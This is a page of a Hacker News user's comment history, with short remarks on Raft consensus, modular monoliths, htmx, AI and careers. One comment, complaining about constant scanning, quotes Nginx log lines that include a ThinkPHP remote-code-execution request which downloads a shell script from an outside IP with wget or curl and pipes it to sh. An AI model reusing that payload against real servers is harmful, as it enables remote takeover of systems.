HNHacker News
TopNewBestAskShowJobs

BinaryIgor

526 karma · joined July 19, 2025

Curious, passionate and versatile software developer/programmer; likes going deep and broad at the same time. Writes @ binaryigor.com
submissionscomments
BinaryIgor··on Show HN: Explore what the browser exposes about you
Super interesting project! Out of curiosity, how do you calculate Unique Fingerprint ID and Canvas Deep Fingerprint Hash?
BinaryIgor··on Hardening the C++ Standard Library at scale
Interesting how C++ is still improving; seems like changes of this kind my rival at least some of the Rust use cases; time will tell
BinaryIgor··on It's Always the Process, Stupid
"There is no such thing as an AI strategy.

There is only Business Process Optimization (BPO)."

Exactly, that's the fundamental truth. The shiny tool of the day doesn't change it at all

BinaryIgor··on It's Always the Process, Stupid
Writing is such a powerful and often underrated and underutilized tool; I don't think it's an overstatement to say that it's at par with fire and should be in the top 5 of all-time humanity inventions/discoveries.
BinaryIgor··on The internet is no longer a safe haven
I have very similar experience. In my Nginx logs, I see things like that on a regular basis:

79.124.40.174 - - [16/Nov/2025:17:04:52 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 404 555 "http://142.93.104.181:80/?XDEBUG_SESSION_START=phpstorm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" ... 145.220.0.84 - - [16/Nov/2025:15:00:21 +0000] "\x16\x03\x01\x00\xCE\x01\x00\x00\xCA\x03\x03\xF7:\xB4]D\x0C\xD0?\xEF~\xAC\xF8\x8C\x80us\xB8=\x0F\x9C\xA8\xC1\xDD\xC4\xDF2\x8CQC\x18\xDC\x1D \xD0{\xC9\x01\xEC\x227\xCB9\xBE\x8C\xE0\xB2\x9F\xCF\x97\xF6\xBE\x88z/\xD7;\xB1\x8C\xEEu\x00\xBF]<\x92\x00" 400 157 "-" "-" "-" 145.220.0.84 - - [16/Nov/2025:15:00:21 +0000] "\x16\x03\x01\x00\xCE\x01\x00\x00\xCA\x03\x03\x8A\xB5\xA4)n\x10\x8CO(\x99u\xD8\x13\x0B\xB7h7\x16\xC5[\x85<\xD3\xDC\x9C\xAB\x89\xE0\x0B\x08a\xDE \x9F2Z\xCD\xD1=\x9B\xBAU1\xF3h\xC1\xEEY<\xAEuZ~2\x81Cg\xFD\x87\x84\xA3\xBA:$\xC8\x00" 400 157 "-" "-" "-"

or:

"192.159.99.95 - - [16/Nov/2025:13:44:03 +0000] "GET /public/index.php?s=/Index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=%28wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.txg.sh%7C%7Cbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.txg.sh%7C%7Ccurl%20-s%20http%3A%2F%2F74.194.191.52%2Frondo.txg.sh%29%7Csh HTTP/1.1" 301 169 "-" "Mozilla/5.0 (bang2013@atomicmail.io)" "-"

These are just some examples, but they happen pretty much daily :(

BinaryIgor··on The internet is no longer a safe haven
Good points; I would definitely vouch for an independent standard for request signing + some kind of decentralized reputation system. With international law enforcement, I think there could be too many political issues for it not become corrupt
BinaryIgor··on The internet is no longer a safe haven
I wonder why is it that we get an increase in these automated scrapers and attacks as of late (some few years); is there better (open-source?) technology that allows it? Is it because hosting infrastructure is cheaper also for the attackers? Both? Something else?

Maybe the long-term solution for such attacks is to hide most of the internet behind some kind of Proof of Work system/network, so that mostly humans get to access to our websites, not machines.

BinaryIgor··on Friction Was the Feature
Interesting read; seems like we are about to introduce different kinds of friction, where generative AI took it away. Without friction, it is hard (if not impossible) to differentiate signal from the noise
BinaryIgor··on The Role of Deliberate Practice in the Acquisition of Expert Performance
An important paper discussing the role of focused practice in achieving mastery, as compared to pure talent on its own.
BinaryIgor··on Should I focus on improving my product or acquiring new users?
The users that you have but are not paying: what they're complaining about or find a lack of? Are there any emergent patterns? Or everybody wants basically something completely different?
BinaryIgor··on Where did the 10k steps a day come from? (2018)
I guess, just have some steps and movement in general; how much exactly - that's a tricky question, but it's better to err on the a little too much side (10 000 steps) than too little
BinaryIgor··on New study finds users are marrying and having virtual children with AI chatbots
Exactly; it's just a much more powerful medium to express one of the oldest and perennial of society problems
BinaryIgor··on New study finds users are marrying and having virtual children with AI chatbots
100%; it's probably wise to default to better-to-be-conservative-than-sorry policy, at least as of now.
BinaryIgor··on Write Cypress Tests in Natural Language with Cy.prompt()
Sounds pretty powerful, but it's probably better to be used just to generate initial tests and then guide it manually - determinism.

Has anybody tried it and can comment on how well/bad does it work?

BinaryIgor··on Raft Consensus in 2k Words
Thanks :) It's a surprisingly simple algorithm for such a complex problem
BinaryIgor··on Raft Consensus in 2k Words
Curious about this piece:

"By up-to-date, I mean that the follower will grant its vote only if the candidate’s last entry term (included in the RequestVote) is higher, or the candidate’s last entry index (also included) is higher for the same term. If the candidate’s log isn’t more up-to-date than the follower’s, the latter won’t grant its vote."

Is this why election timeouts are random? To guarantee that at least one candidate is more up-to-date than others, as measured by the last entry term?

BinaryIgor··on Raft Consensus in 2k Words
Great write-up - what I would add is that this algorithm rest on the assumption that all nodes are behaving honestly and are not malicious. Which of course is true for most distributed systems we build, but is not true for public blockchains, like Bitcoin for example :)
BinaryIgor··on You will own nothing and be (un)happy
"It’s funny how “ownership” in the digital world has become an illusion. You don’t really own your apps, your music, or even your tools anymore. You’re just renting access until someone decides to move the paywall. It’s convenient, sure, but it also feels like losing control over something that used to be ours."

Sounds to me like a fallacy; there always were, are and will be are open-source alternatives to many of these tools and services, but they will never reach the scale and user-friendliness of the pay-to-use versions simply because of incentives. It's a painful and arduous work to make something of value to a particular demographic of users and keeping it so - we simply didn't find any better than for-profit companies way of providing such amazing things.

BinaryIgor··on Yt-dlp: External JavaScript runtime now required for full YouTube support
It's not YouTube though, but downloader :)

"yt-dlp is a feature-rich command-line audio/video downloader with support for thousands of sites. The project is a fork of youtube-dl based on the now inactive youtube-dlc."

BinaryIgor··on Modular monolith and microservices: Modularity is what matters
True, that's why I titled the article "Modular Monolith and Microservices: Modularity is what truly matters". Modularity is crucial here - you can mix it up on multiple levels; having a single modular monolith, a few bigger services that have many modules inside each or finally, microservices where you treat each service itself as a module.

Modularization is what's primary here and gives you flexibility; not having one vs multiple units of deployment

BinaryIgor··on Modular monolith and microservices: Modularity is what matters
Thanks for the feedback :) I'm working on follow-ups, splitting it into multiple articles where I will try to elaborate more on various dimensions of modular monolith vs (micro)services debate/issue/decision and their various tradeoffs. Will try to make it clearer there!
BinaryIgor··on Modular monolith and microservices: Modularity is what matters
If you have each module as independently versioned package, the compile times are not slow, since you only need to compile modules that have changed and modules are provided as compiled dependencies.

Each individual module is fast to compile.

BinaryIgor··on Modular monolith and microservices: Modularity is what matters
Unless you have a lot of teams - like 10 and more - it's quite manageable to work on a solidly modularized monolith. But in general you're right; after your reach certain threshold of teams, it makes sense to have a few, not one, units of deployment
BinaryIgor··on Modular monolith and microservices: Modularity is what matters
That's the strongest argument I can see; once you can get above 5 - 10 teams, you run into the organizational issues.

But again, most systems will never be there ;)

BinaryIgor··on Modular monolith and microservices: Modularity is what matters
100%; and if you have a solid structure in your modular monolith - it's trivial to take one or two problematic/performance sensitive modules and turn them into independent services. But most of the systems will never get up to this scale
BinaryIgor··on Modular monolith and microservices: Modularity is what matters
If you go up to this scale then yes - it probably makes sense to have a few - reasonably amount - services. But I would ask - why does it take for this kind of app to be up and running so long? It's rather not because of its code size - something else has gone wrong :)
BinaryIgor··on Local First Htmx
Interesting article, but isn't the main HTMX use-case mostly where you want to make server do most of the work, that is Remotely? As you literally render its responses directly - HTMX pages and fragments - instead of doing HTML -> JSON -> HTML gymnastics. Using paradigm of this kind to build local/client-first apps sounds weird.
BinaryIgor··on Local First Htmx
It's more like a JS-heavy library that allows you not to write JS, or write it as little and as rarely as possible
BinaryIgor··on AI Ruined Programming, So I Fixed It (2025)
"But now, AI writes most of the code, and the thrill of crafting something from scratch has quietly faded."

Bold claims! 1. Sometimes it's faster to code with AI, sometimes it's slower - I wouldn't say you can back up the statement like "AI writes most of the code". And I would argue that it will always be the case, unless we have AGI 2. I don't know about the faded thrill; we will always create things that work on the computer and programmers will always have the advantage there. The nature of creating is changing slightly, which in any case was always true - punch cards, assembly, C and then higher level languages. Change is the nature of this craft. You must embrace it to stay relevant and enjoy it

Some of its is mentioned in the article, but it claims and language are definitely exaggerated a bit.

BinaryIgor··on Always be ready to leave (even if you never do)
Very wise; have been following this approach since years and I highly recommend it. This one (from the article) is a gem:

"I’ll work like I might stay forever, and like I might leave tomorrow"

Besides practical benefits of this approach mentioned in the article, it's the attitude that brings you closer to stoicism that just makes your whole life, not only professional one, better.

← PreviousPage 2 of 8Next →